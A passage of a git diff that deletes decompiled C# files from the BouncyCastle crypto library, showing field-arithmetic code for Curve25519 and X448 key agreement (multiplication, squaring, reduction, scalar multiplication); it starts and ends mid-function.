(long)num12; - long num34 = (long)num15 * (long)num16; - num34 <<= 1; - num34 += (long)num11 * (long)num20 + (long)num13 * (long)num18 + (long)num17 * (long)num14 + (long)num19 * (long)num12; - long num35 = (long)num13 * (long)num20 + (long)num15 * (long)num18 + (long)num17 * (long)num16 + (long)num19 * (long)num14; - long num36 = (long)num15 * (long)num20 + (long)num19 * (long)num16; - num36 <<= 1; - num36 += (long)num17 * (long)num18; - long num37 = (long)num17 * (long)num20 + (long)num19 * (long)num18; - long num38 = (long)num19 * (long)num20; - num21 -= num35 * 76; - num22 -= num36 * 38; - num23 -= num37 * 38; - num24 -= num38 * 76; - num26 -= num30; - num27 -= num31; - num28 -= num32; - num29 -= num33; - num += num11; - num2 += num12; - num3 += num13; - num4 += num14; - num5 += num15; - num6 += num16; - num7 += num17; - num8 += num18; - num9 += num19; - num10 += num20; - long num39 = (long)num * (long)num2; - long num40 = (long)num * (long)num4 + (long)num3 * (long)num2; - long num41 = (long)num * (long)num6 + (long)num3 * (long)num4 + (long)num5 * (long)num2; - long num42 = (long)num3 * (long)num6 + (long)num5 * (long)num4; - num42 <<= 1; - num42 += (long)num * (long)num8 + (long)num7 * (long)num2; - long num43 = (long)num5 * (long)num6; - num43 <<= 1; - num43 += (long)num * (long)num10 + (long)num3 * (long)num8 + (long)num7 * (long)num4 + (long)num9 * (long)num2; - long num44 = (long)num3 * (long)num10 + (long)num5 * (long)num8 + (long)num7 * (long)num6 + (long)num9 * (long)num4; - num44 <<= 1; - long num45 = (long)num5 * (long)num10 + (long)num9 * (long)num6; - num45 <<= 1; - num45 += (long)num7 * (long)num8; - long num46 = (long)num7 * (long)num10 + (long)num9 * (long)num8; - long num47 = (long)num9 * (long)num10; - num47 <<= 1; - long num48 = num29 + (num42 - num24); - int num49 = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - num48 += num43 - num25 - num34; - int num50 = (int)num48 & 0x1FFFFFF; - num48 >>= 25; - num48 = num21 + (num48 + num44 - num26) * 38; - z[0] = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - num48 += num22 + (num45 - num27) * 38; - z[1] = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - num48 += num23 + (num46 - num28) * 38; - z[2] = (int)num48 & 0x1FFFFFF; - num48 >>= 25; - num48 += num24 + (num47 - num29) * 38; - z[3] = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - num48 += num25 + num34 * 38; - z[4] = (int)num48 & 0x1FFFFFF; - num48 >>= 25; - num48 += num26 + (num39 - num21); - z[5] = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - num48 += num27 + (num40 - num22); - z[6] = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - num48 += num28 + (num41 - num23); - z[7] = (int)num48 & 0x1FFFFFF; - num48 >>= 25; - num48 += num49; - z[8] = (int)num48 & 0x3FFFFFF; - num48 >>= 26; - z[9] = num50 + (int)num48; - } - - public static void Negate(int[] x, int[] z) - { - for (int i = 0; i < 10; i++) - { - z[i] = -x[i]; - } - } - - public static void Normalize(int[] z) - { - int num = (z[9] >> 23) & 1; - Reduce(z, num); - Reduce(z, -num); - } - - public static void One(int[] z) - { - z[0] = 1; - for (int i = 1; i < 10; i++) - { - z[i] = 0; - } - } - - private static void PowPm5d8(int[] x, int[] rx2, int[] rz) - { - Sqr(x, rx2); - Mul(x, rx2, rx2); - int[] array = Create(); - Sqr(rx2, array); - Mul(x, array, array); - int[] array2 = array; - Sqr(array, 2, array2); - Mul(rx2, array2, array2); - int[] array3 = Create(); - Sqr(array2, 5, array3); - Mul(array2, array3, array3); - int[] array4 = Create(); - Sqr(array3, 5, array4); - Mul(array2, array4, array4); - int[] array5 = array2; - Sqr(array4, 10, array5); - Mul(array3, array5, array5); - int[] array6 = array3; - Sqr(array5, 25, array6); - Mul(array5, array6, array6); - int[] array7 = array4; - Sqr(array6, 25, array7); - Mul(array5, array7, array7); - int[] array8 = array5; - Sqr(array7, 50, array8); - Mul(array6, array8, array8); - int[] array9 = array6; - Sqr(array8, 125, array9); - Mul(array8, array9, array9); - int[] array10 = array8; - Sqr(array9, 2, array10); - Mul(array10, x, rz); - } - - private static void Reduce(int[] z, int c) - { - int num = z[9]; - int num2 = num; - num = num2 & 0xFFFFFF; - num2 >>= 24; - num2 += c; - num2 *= 19; - num2 += z[0]; - z[0] = num2 & 0x3FFFFFF; - num2 >>= 26; - num2 += z[1]; - z[1] = num2 & 0x3FFFFFF; - num2 >>= 26; - num2 += z[2]; - z[2] = num2 & 0x1FFFFFF; - num2 >>= 25; - num2 += z[3]; - z[3] = num2 & 0x3FFFFFF; - num2 >>= 26; - num2 += z[4]; - z[4] = num2 & 0x1FFFFFF; - num2 >>= 25; - num2 += z[5]; - z[5] = num2 & 0x3FFFFFF; - num2 >>= 26; - num2 += z[6]; - z[6] = num2 & 0x3FFFFFF; - num2 >>= 26; - num2 += z[7]; - z[7] = num2 & 0x1FFFFFF; - num2 >>= 25; - num2 += z[8]; - z[8] = num2 & 0x3FFFFFF; - num2 >>= 26; - num2 += num; - z[9] = num2; - } - - public static void Sqr(int[] x, int[] z) - { - int num = x[0]; - int num2 = x[1]; - int num3 = x[2]; - int num4 = x[3]; - int num5 = x[4]; - int num6 = x[5]; - int num7 = x[6]; - int num8 = x[7]; - int num9 = x[8]; - int num10 = x[9]; - int num11 = num2 * 2; - int num12 = num3 * 2; - int num13 = num4 * 2; - int num14 = num5 * 2; - long num15 = (long)num * (long)num; - long num16 = (long)num * (long)num11; - long num17 = (long)num * (long)num12 + (long)num2 * (long)num2; - long num18 = (long)num11 * (long)num12 + (long)num * (long)num13; - long num19 = (long)num3 * (long)num12 + (long)num * (long)num14 + (long)num2 * (long)num13; - long num20 = (long)num11 * (long)num14 + (long)num12 * (long)num13; - long num21 = (long)num12 * (long)num14 + (long)num4 * (long)num4; - long num22 = (long)num4 * (long)num14; - long num23 = (long)num5 * (long)num14; - int num24 = num7 * 2; - int num25 = num8 * 2; - int num26 = num9 * 2; - int num27 = num10 * 2; - long num28 = (long)num6 * (long)num6; - long num29 = (long)num6 * (long)num24; - long num30 = (long)num6 * (long)num25 + (long)num7 * (long)num7; - long num31 = (long)num24 * (long)num25 + (long)num6 * (long)num26; - long num32 = (long)num8 * (long)num25 + (long)num6 * (long)num27 + (long)num7 * (long)num26; - long num33 = (long)num24 * (long)num27 + (long)num25 * (long)num26; - long num34 = (long)num25 * (long)num27 + (long)num9 * (long)num9; - long num35 = (long)num9 * (long)num27; - long num36 = (long)num10 * (long)num27; - num15 -= num33 * 38; - num16 -= num34 * 38; - num17 -= num35 * 38; - num18 -= num36 * 38; - num20 -= num28; - num21 -= num29; - num22 -= num30; - num23 -= num31; - num += num6; - num2 += num7; - num3 += num8; - num4 += num9; - num5 += num10; - num11 = num2 * 2; - num12 = num3 * 2; - num13 = num4 * 2; - num14 = num5 * 2; - long num37 = (long)num * (long)num; - long num38 = (long)num * (long)num11; - long num39 = (long)num * (long)num12 + (long)num2 * (long)num2; - long num40 = (long)num11 * (long)num12 + (long)num * (long)num13; - long num41 = (long)num3 * (long)num12 + (long)num * (long)num14 + (long)num2 * (long)num13; - long num42 = (long)num11 * (long)num14 + (long)num12 * (long)num13; - long num43 = (long)num12 * (long)num14 + (long)num4 * (long)num4; - long num44 = (long)num4 * (long)num14; - long num45 = (long)num5 * (long)num14; - long num46 = num23 + (num40 - num18); - int num47 = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - num46 += num41 - num19 - num32; - int num48 = (int)num46 & 0x1FFFFFF; - num46 >>= 25; - num46 = num15 + (num46 + num42 - num20) * 38; - z[0] = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - num46 += num16 + (num43 - num21) * 38; - z[1] = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - num46 += num17 + (num44 - num22) * 38; - z[2] = (int)num46 & 0x1FFFFFF; - num46 >>= 25; - num46 += num18 + (num45 - num23) * 38; - z[3] = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - num46 += num19 + num32 * 38; - z[4] = (int)num46 & 0x1FFFFFF; - num46 >>= 25; - num46 += num20 + (num37 - num15); - z[5] = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - num46 += num21 + (num38 - num16); - z[6] = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - num46 += num22 + (num39 - num17); - z[7] = (int)num46 & 0x1FFFFFF; - num46 >>= 25; - num46 += num47; - z[8] = (int)num46 & 0x3FFFFFF; - num46 >>= 26; - z[9] = num48 + (int)num46; - } - - public static void Sqr(int[] x, int n, int[] z) - { - Sqr(x, z); - while (--n > 0) - { - Sqr(z, z); - } - } - - public static bool SqrtRatioVar(int[] u, int[] v, int[] z) - { - int[] array = Create(); - int[] array2 = Create(); - Mul(u, v, array); - Sqr(v, array2); - Mul(array, array2, array); - Sqr(array2, array2); - Mul(array2, array, array2); - int[] array3 = Create(); - int[] array4 = Create(); - PowPm5d8(array2, array3, array4); - Mul(array4, array, array4); - int[] array5 = Create(); - Sqr(array4, array5); - Mul(array5, v, array5); - Sub(array5, u, array3); - Normalize(array3); - if (IsZeroVar(array3)) - { - Copy(array4, 0, z, 0); - return true; - } - Add(array5, u, array3); - Normalize(array3); - if (IsZeroVar(array3)) - { - Mul(array4, RootNegOne, z); - return true; - } - return false; - } - - public static void Sub(int[] x, int[] y, int[] z) - { - for (int i = 0; i < 10; i++) - { - z[i] = x[i] - y[i]; - } - } - - public static void SubOne(int[] z) - { - int[] array; - (array = z)[0] = array[0] - 1; - } - - public static void Zero(int[] z) - { - for (int i = 0; i < 10; i++) - { - z[i] = 0; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X448.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X448.cs deleted file mode 100644 index b6ed85a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X448.cs +++ /dev/null @@ -1,143 +0,0 @@ -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Rfc7748; - -public abstract class X448 -{ - public const int PointSize = 56; - - public const int ScalarSize = 56; - - private const uint C_A = 156326u; - - private const uint C_A24 = 39082u; - - public static bool CalculateAgreement(byte[] k, int kOff, byte[] u, int uOff, byte[] r, int rOff) - { - ScalarMult(k, kOff, u, uOff, r, rOff); - return !Arrays.AreAllZeroes(r, rOff, 56); - } - - private static uint Decode32(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - num |= (uint)(bs[++off] << 16); - return num | (uint)(bs[++off] << 24); - } - - private static void DecodeScalar(byte[] k, int kOff, uint[] n) - { - for (int i = 0; i < 14; i++) - { - n[i] = Decode32(k, kOff + i * 4); - } - uint[] array; - (array = n)[0] = array[0] & 0xFFFFFFFCu; - (array = n)[13] = array[13] | 0x80000000u; - } - - public static void GeneratePrivateKey(SecureRandom random, byte[] k) - { - random.NextBytes(k); - byte[] array; - (array = k)[0] = (byte)(array[0] & 0xFC); - (array = k)[55] = (byte)(array[55] | 0x80); - } - - public static void GeneratePublicKey(byte[] k, int kOff, byte[] r, int rOff) - { - ScalarMultBase(k, kOff, r, rOff); - } - - private static void PointDouble(uint[] x, uint[] z) - { - uint[] array = X448Field.Create(); - uint[] array2 = X448Field.Create(); - X448Field.Add(x, z, array); - X448Field.Sub(x, z, array2); - X448Field.Sqr(array, array); - X448Field.Sqr(array2, array2); - X448Field.Mul(array, array2, x); - X448Field.Sub(array, array2, array); - X448Field.Mul(array, 39082u, z); - X448Field.Add(z, array2, z); - X448Field.Mul(z, array, z); - } - - public static void Precompute() - { - Ed448.Precompute(); - } - - public static void ScalarMult(byte[] k, int kOff, byte[] u, int uOff, byte[] r, int rOff) - { - uint[] array = new uint[14]; - DecodeScalar(k, kOff, array); - uint[] array2 = X448Field.Create(); - X448Field.Decode(u, uOff, array2); - uint[] array3 = X448Field.Create(); - X448Field.Copy(array2, 0, array3, 0); - uint[] array4 = X448Field.Create(); - array4[0] = 1u; - uint[] array5 = X448Field.Create(); - array5[0] = 1u; - uint[] array6 = X448Field.Create(); - uint[] array7 = X448Field.Create(); - uint[] array8 = X448Field.Create(); - int num = 447; - int num2 = 1; - do - { - X448Field.Add(array5, array6, array7); - X448Field.Sub(array5, array6, array5); - X448Field.Add(array3, array4, array6); - X448Field.Sub(array3, array4, array3); - X448Field.Mul(array7, array3, array7); - X448Field.Mul(array5, array6, array5); - X448Field.Sqr(array6, array6); - X448Field.Sqr(array3, array3); - X448Field.Sub(array6, array3, array8); - X448Field.Mul(array8, 39082u, array4); - X448Field.Add(array4, array3, array4); - X448Field.Mul(array4, array8, array4); - X448Field.Mul(array3, array6, array3); - X448Field.Sub(array7, array5, array6); - X448Field.Add(array7, array5, array5); - X448Field.Sqr(array5, array5); - X448Field.Sqr(array6, array6); - X448Field.Mul(array6, array2, array6); - num--; - int num3 = num >> 5; - int num4 = num & 0x1F; - int num5 = (int)((array[num3] >> num4) & 1); - num2 ^= num5; - X448Field.CSwap(num2, array3, array5); - X448Field.CSwap(num2, array4, array6); - num2 = num5; - } - while (num >= 2); - for (int i = 0; i < 2; i++) - { - PointDouble(array3, array4); - } - X448Field.Inv(array4, array4); - X448Field.Mul(array3, array4, array3); - X448Field.Normalize(array3); - X448Field.Encode(array3, r, rOff); - } - - public static void ScalarMultBase(byte[] k, int kOff, byte[] r, int rOff) - { - uint[] array = X448Field.Create(); - uint[] y = X448Field.Create(); - Ed448.ScalarMultBaseXY(k, kOff, array, y); - X448Field.Inv(array, array); - X448Field.Mul(array, y, array); - X448Field.Sqr(array, array); - X448Field.Normalize(array); - X448Field.Encode(array, r, rOff); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X448Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X448Field.cs deleted file mode 100644 index 723fb01..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X448Field.cs +++ /dev/null @@ -1,862 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Rfc7748; - -[CLSCompliant(false)] -public abstract class X448Field -{ - public const int Size = 16; - - private const uint M28 = 268435455u; - - private X448Field() - { - } - - public static void Add(uint[] x, uint[] y, uint[] z) - { - for (int i = 0; i < 16; i++) - { - z[i] = x[i] + y[i]; - } - } - - public static void AddOne(uint[] z) - { - uint[] array; - (array = z)[0] = array[0] + 1; - } - - public static void AddOne(uint[] z, int zOff) - { - uint[] array2; - uint[] array = (array2 = z); - nint num = zOff; - array[zOff] = array2[num] + 1; - } - - public static void Carry(uint[] z) - { - uint num = z[0]; - uint num2 = z[1]; - uint num3 = z[2]; - uint num4 = z[3]; - uint num5 = z[4]; - uint num6 = z[5]; - uint num7 = z[6]; - uint num8 = z[7]; - uint num9 = z[8]; - uint num10 = z[9]; - uint num11 = z[10]; - uint num12 = z[11]; - uint num13 = z[12]; - uint num14 = z[13]; - uint num15 = z[14]; - uint num16 = z[15]; - num3 += num2 >> 28; - num2 &= 0xFFFFFFF; - num7 += num6 >> 28; - num6 &= 0xFFFFFFF; - num11 += num10 >> 28; - num10 &= 0xFFFFFFF; - num15 += num14 >> 28; - num14 &= 0xFFFFFFF; - num4 += num3 >> 28; - num3 &= 0xFFFFFFF; - num8 += num7 >> 28; - num7 &= 0xFFFFFFF; - num12 += num11 >> 28; - num11 &= 0xFFFFFFF; - num16 += num15 >> 28; - num15 &= 0xFFFFFFF; - uint num17 = num16 >> 28; - num16 &= 0xFFFFFFF; - num += num17; - num9 += num17; - num5 += num4 >> 28; - num4 &= 0xFFFFFFF; - num9 += num8 >> 28; - num8 &= 0xFFFFFFF; - num13 += num12 >> 28; - num12 &= 0xFFFFFFF; - num2 += num >> 28; - num &= 0xFFFFFFF; - num6 += num5 >> 28; - num5 &= 0xFFFFFFF; - num10 += num9 >> 28; - num9 &= 0xFFFFFFF; - num14 += num13 >> 28; - num13 &= 0xFFFFFFF; - z[0] = num; - z[1] = num2; - z[2] = num3; - z[3] = num4; - z[4] = num5; - z[5] = num6; - z[6] = num7; - z[7] = num8; - z[8] = num9; - z[9] = num10; - z[10] = num11; - z[11] = num12; - z[12] = num13; - z[13] = num14; - z[14] = num15; - z[15] = num16; - } - - public static void CNegate(int negate, uint[] z) - { - uint[] array = Create(); - Sub(array, z, array); - Nat.CMov(16, negate, array, 0, z, 0); - } - - public static void Copy(uint[] x, int xOff, uint[] z, int zOff) - { - for (int i = 0; i < 16; i++) - { - z[zOff + i] = x[xOff + i]; - } - } - - public static uint[] Create() - { - return new uint[16]; - } - - public static void CSwap(int swap, uint[] a, uint[] b) - { - uint num = (uint)(-swap); - for (int i = 0; i < 16; i++) - { - uint num2 = a[i]; - uint num3 = b[i]; - uint num4 = num & (num2 ^ num3); - a[i] = num2 ^ num4; - b[i] = num3 ^ num4; - } - } - - public static void Decode(byte[] x, int xOff, uint[] z) - { - Decode56(x, xOff, z, 0); - Decode56(x, xOff + 7, z, 2); - Decode56(x, xOff + 14, z, 4); - Decode56(x, xOff + 21, z, 6); - Decode56(x, xOff + 28, z, 8); - Decode56(x, xOff + 35, z, 10); - Decode56(x, xOff + 42, z, 12); - Decode56(x, xOff + 49, z, 14); - } - - private static uint Decode24(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - return num | (uint)(bs[++off] << 16); - } - - private static uint Decode32(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - num |= (uint)(bs[++off] << 16); - return num | (uint)(bs[++off] << 24); - } - - private static void Decode56(byte[] bs, int off, uint[] z, int zOff) - { - uint num = Decode32(bs, off); - uint num2 = Decode24(bs, off + 4); - z[zOff] = num & 0xFFFFFFF; - z[zOff + 1] = (num >> 28) | (num2 << 4); - } - - public static void Encode(uint[] x, byte[] z, int zOff) - { - Encode56(x, 0, z, zOff); - Encode56(x, 2, z, zOff + 7); - Encode56(x, 4, z, zOff + 14); - Encode56(x, 6, z, zOff + 21); - Encode56(x, 8, z, zOff + 28); - Encode56(x, 10, z, zOff + 35); - Encode56(x, 12, z, zOff + 42); - Encode56(x, 14, z, zOff + 49); - } - - private static void Encode24(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - } - - private static void Encode32(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - bs[++off] = (byte)(n >> 24); - } - - private static void Encode56(uint[] x, int xOff, byte[] bs, int off) - { - uint num = x[xOff]; - uint num2 = x[xOff + 1]; - Encode32(num | (num2 << 28), bs, off); - Encode24(num2 >> 4, bs, off + 4); - } - - public static void Inv(uint[] x, uint[] z) - { - uint[] array = Create(); - PowPm3d4(x, array); - Sqr(array, 2, array); - Mul(array, x, z); - } - - public static bool IsZeroVar(uint[] x) - { - uint num = 0u; - for (int i = 0; i < 16; i++) - { - num |= x[i]; - } - return num == 0; - } - - public static void Mul(uint[] x, uint y, uint[] z) - { - uint num = x[0]; - uint num2 = x[1]; - uint num3 = x[2]; - uint num4 = x[3]; - uint num5 = x[4]; - uint num6 = x[5]; - uint num7 = x[6]; - uint num8 = x[7]; - uint num9 = x[8]; - uint num10 = x[9]; - uint num11 = x[10]; - uint num12 = x[11]; - uint num13 = x[12]; - uint num14 = x[13]; - uint num15 = x[14]; - uint num16 = x[15]; - ulong num17 = (ulong)num2 * (ulong)y; - uint num18 = (uint)((int)num17 & 0xFFFFFFF); - num17 >>= 28; - ulong num19 = (ulong)num6 * (ulong)y; - uint num20 = (uint)((int)num19 & 0xFFFFFFF); - num19 >>= 28; - ulong num21 = (ulong)num10 * (ulong)y; - uint num22 = (uint)((int)num21 & 0xFFFFFFF); - num21 >>= 28; - ulong num23 = (ulong)num14 * (ulong)y; - uint num24 = (uint)((int)num23 & 0xFFFFFFF); - num23 >>= 28; - num17 += (ulong)((long)num3 * (long)y); - z[2] = (uint)((int)num17 & 0xFFFFFFF); - num17 >>= 28; - num19 += (ulong)((long)num7 * (long)y); - z[6] = (uint)((int)num19 & 0xFFFFFFF); - num19 >>= 28; - num21 += (ulong)((long)num11 * (long)y); - z[10] = (uint)((int)num21 & 0xFFFFFFF); - num21 >>= 28; - num23 += (ulong)((long)num15 * (long)y); - z[14] = (uint)((int)num23 & 0xFFFFFFF); - num23 >>= 28; - num17 += (ulong)((long)num4 * (long)y); - z[3] = (uint)((int)num17 & 0xFFFFFFF); - num17 >>= 28; - num19 += (ulong)((long)num8 * (long)y); - z[7] = (uint)((int)num19 & 0xFFFFFFF); - num19 >>= 28; - num21 += (ulong)((long)num12 * (long)y); - z[11] = (uint)((int)num21 & 0xFFFFFFF); - num21 >>= 28; - num23 += (ulong)((long)num16 * (long)y); - z[15] = (uint)((int)num23 & 0xFFFFFFF); - num23 >>= 28; - num19 += num23; - num17 += (ulong)((long)num5 * (long)y); - z[4] = (uint)((int)num17 & 0xFFFFFFF); - num17 >>= 28; - num19 += (ulong)((long)num9 * (long)y); - z[8] = (uint)((int)num19 & 0xFFFFFFF); - num19 >>= 28; - num21 += (ulong)((long)num13 * (long)y); - z[12] = (uint)((int)num21 & 0xFFFFFFF); - num21 >>= 28; - num23 += (ulong)((long)num * (long)y); - z[0] = (uint)((int)num23 & 0xFFFFFFF); - num23 >>= 28; - z[1] = num18 + (uint)(int)num23; - z[5] = num20 + (uint)(int)num17; - z[9] = num22 + (uint)(int)num19; - z[13] = num24 + (uint)(int)num21; - } - - public static void Mul(uint[] x, uint[] y, uint[] z) - { - uint num = x[0]; - uint num2 = x[1]; - uint num3 = x[2]; - uint num4 = x[3]; - uint num5 = x[4]; - uint num6 = x[5]; - uint num7 = x[6]; - uint num8 = x[7]; - uint num9 = x[8]; - uint num10 = x[9]; - uint num11 = x[10]; - uint num12 = x[11]; - uint num13 = x[12]; - uint num14 = x[13]; - uint num15 = x[14]; - uint num16 = x[15]; - uint num17 = y[0]; - uint num18 = y[1]; - uint num19 = y[2]; - uint num20 = y[3]; - uint num21 = y[4]; - uint num22 = y[5]; - uint num23 = y[6]; - uint num24 = y[7]; - uint num25 = y[8]; - uint num26 = y[9]; - uint num27 = y[10]; - uint num28 = y[11]; - uint num29 = y[12]; - uint num30 = y[13]; - uint num31 = y[14]; - uint num32 = y[15]; - uint num33 = num + num9; - uint num34 = num2 + num10; - uint num35 = num3 + num11; - uint num36 = num4 + num12; - uint num37 = num5 + num13; - uint num38 = num6 + num14; - uint num39 = num7 + num15; - uint num40 = num8 + num16; - uint num41 = num17 + num25; - uint num42 = num18 + num26; - uint num43 = num19 + num27; - uint num44 = num20 + num28; - uint num45 = num21 + num29; - uint num46 = num22 + num30; - uint num47 = num23 + num31; - uint num48 = num24 + num32; - ulong num49 = (ulong)num * (ulong)num17; - ulong num50 = (ulong)((long)num8 * (long)num18 + (long)num7 * (long)num19 + (long)num6 * (long)num20 + (long)num5 * (long)num21 + (long)num4 * (long)num22 + (long)num3 * (long)num23 + (long)num2 * (long)num24); - ulong num51 = (ulong)num9 * (ulong)num25; - ulong num52 = (ulong)((long)num16 * (long)num26 + (long)num15 * (long)num27 + (long)num14 * (long)num28 + (long)num13 * (long)num29 + (long)num12 * (long)num30 + (long)num11 * (long)num31 + (long)num10 * (long)num32); - ulong num53 = (ulong)num33 * (ulong)num41; - ulong num54 = (ulong)((long)num40 * (long)num42 + (long)num39 * (long)num43 + (long)num38 * (long)num44 + (long)num37 * (long)num45 + (long)num36 * (long)num46 + (long)num35 * (long)num47 + (long)num34 * (long)num48); - ulong num55 = num49 + num51 + num54 - num50; - uint num56 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - ulong num57 = num52 + num53 - num49 + num54; - uint num58 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num59 = (ulong)((long)num2 * (long)num17 + (long)num * (long)num18); - ulong num60 = (ulong)((long)num8 * (long)num19 + (long)num7 * (long)num20 + (long)num6 * (long)num21 + (long)num5 * (long)num22 + (long)num4 * (long)num23 + (long)num3 * (long)num24); - ulong num61 = (ulong)((long)num10 * (long)num25 + (long)num9 * (long)num26); - ulong num62 = (ulong)((long)num16 * (long)num27 + (long)num15 * (long)num28 + (long)num14 * (long)num29 + (long)num13 * (long)num30 + (long)num12 * (long)num31 + (long)num11 * (long)num32); - ulong num63 = (ulong)((long)num34 * (long)num41 + (long)num33 * (long)num42); - ulong num64 = (ulong)((long)num40 * (long)num43 + (long)num39 * (long)num44 + (long)num38 * (long)num45 + (long)num37 * (long)num46 + (long)num36 * (long)num47 + (long)num35 * (long)num48); - num55 += num59 + num61 + num64 - num60; - uint num65 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num62 + num63 - num59 + num64; - uint num66 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num67 = (ulong)((long)num3 * (long)num17 + (long)num2 * (long)num18 + (long)num * (long)num19); - ulong num68 = (ulong)((long)num8 * (long)num20 + (long)num7 * (long)num21 + (long)num6 * (long)num22 + (long)num5 * (long)num23 + (long)num4 * (long)num24); - ulong num69 = (ulong)((long)num11 * (long)num25 + (long)num10 * (long)num26 + (long)num9 * (long)num27); - ulong num70 = (ulong)((long)num16 * (long)num28 + (long)num15 * (long)num29 + (long)num14 * (long)num30 + (long)num13 * (long)num31 + (long)num12 * (long)num32); - ulong num71 = (ulong)((long)num35 * (long)num41 + (long)num34 * (long)num42 + (long)num33 * (long)num43); - ulong num72 = (ulong)((long)num40 * (long)num44 + (long)num39 * (long)num45 + (long)num38 * (long)num46 + (long)num37 * (long)num47 + (long)num36 * (long)num48); - num55 += num67 + num69 + num72 - num68; - uint num73 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num70 + num71 - num67 + num72; - uint num74 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num75 = (ulong)((long)num4 * (long)num17 + (long)num3 * (long)num18 + (long)num2 * (long)num19 + (long)num * (long)num20); - ulong num76 = (ulong)((long)num8 * (long)num21 + (long)num7 * (long)num22 + (long)num6 * (long)num23 + (long)num5 * (long)num24); - ulong num77 = (ulong)((long)num12 * (long)num25 + (long)num11 * (long)num26 + (long)num10 * (long)num27 + (long)num9 * (long)num28); - ulong num78 = (ulong)((long)num16 * (long)num29 + (long)num15 * (long)num30 + (long)num14 * (long)num31 + (long)num13 * (long)num32); - ulong num79 = (ulong)((long)num36 * (long)num41 + (long)num35 * (long)num42 + (long)num34 * (long)num43 + (long)num33 * (long)num44); - ulong num80 = (ulong)((long)num40 * (long)num45 + (long)num39 * (long)num46 + (long)num38 * (long)num47 + (long)num37 * (long)num48); - num55 += num75 + num77 + num80 - num76; - uint num81 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num78 + num79 - num75 + num80; - uint num82 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num83 = (ulong)((long)num5 * (long)num17 + (long)num4 * (long)num18 + (long)num3 * (long)num19 + (long)num2 * (long)num20 + (long)num * (long)num21); - ulong num84 = (ulong)((long)num8 * (long)num22 + (long)num7 * (long)num23 + (long)num6 * (long)num24); - ulong num85 = (ulong)((long)num13 * (long)num25 + (long)num12 * (long)num26 + (long)num11 * (long)num27 + (long)num10 * (long)num28 + (long)num9 * (long)num29); - ulong num86 = (ulong)((long)num16 * (long)num30 + (long)num15 * (long)num31 + (long)num14 * (long)num32); - ulong num87 = (ulong)((long)num37 * (long)num41 + (long)num36 * (long)num42 + (long)num35 * (long)num43 + (long)num34 * (long)num44 + (long)num33 * (long)num45); - ulong num88 = (ulong)((long)num40 * (long)num46 + (long)num39 * (long)num47 + (long)num38 * (long)num48); - num55 += num83 + num85 + num88 - num84; - uint num89 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num86 + num87 - num83 + num88; - uint num90 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num91 = (ulong)((long)num6 * (long)num17 + (long)num5 * (long)num18 + (long)num4 * (long)num19 + (long)num3 * (long)num20 + (long)num2 * (long)num21 + (long)num * (long)num22); - ulong num92 = (ulong)((long)num8 * (long)num23 + (long)num7 * (long)num24); - ulong num93 = (ulong)((long)num14 * (long)num25 + (long)num13 * (long)num26 + (long)num12 * (long)num27 + (long)num11 * (long)num28 + (long)num10 * (long)num29 + (long)num9 * (long)num30); - ulong num94 = (ulong)((long)num16 * (long)num31 + (long)num15 * (long)num32); - ulong num95 = (ulong)((long)num38 * (long)num41 + (long)num37 * (long)num42 + (long)num36 * (long)num43 + (long)num35 * (long)num44 + (long)num34 * (long)num45 + (long)num33 * (long)num46); - ulong num96 = (ulong)((long)num40 * (long)num47 + (long)num39 * (long)num48); - num55 += num91 + num93 + num96 - num92; - uint num97 = (uint)((int)num55 & 0xFFFFFFF); - num55 >>= 28; - num57 += num94 + num95 - num91 + num96; - uint num98 = (uint)((int)num57 & 0xFFFFFFF); - num57 >>= 28; - ulong num99 = (ulong)((long)num7 * (long)num17 + (long)num6 * (long)num18 + (long)num5 * (long)num19 + (long)num4 * (long)num20 + (long)num3 * (long)num21 + (long)num2 * (long)num22 + (long)num * (long)num23); - ulong num100 = (ulong)num8 * (ulong)num24; - ulong num101 = (ulong)((long)num15 * (long)num25 + (long)num14 * (long)num26 + (long)num13 * (long)num27 + (long)num12 * (long)num28 + (long)num11 * (long)num29 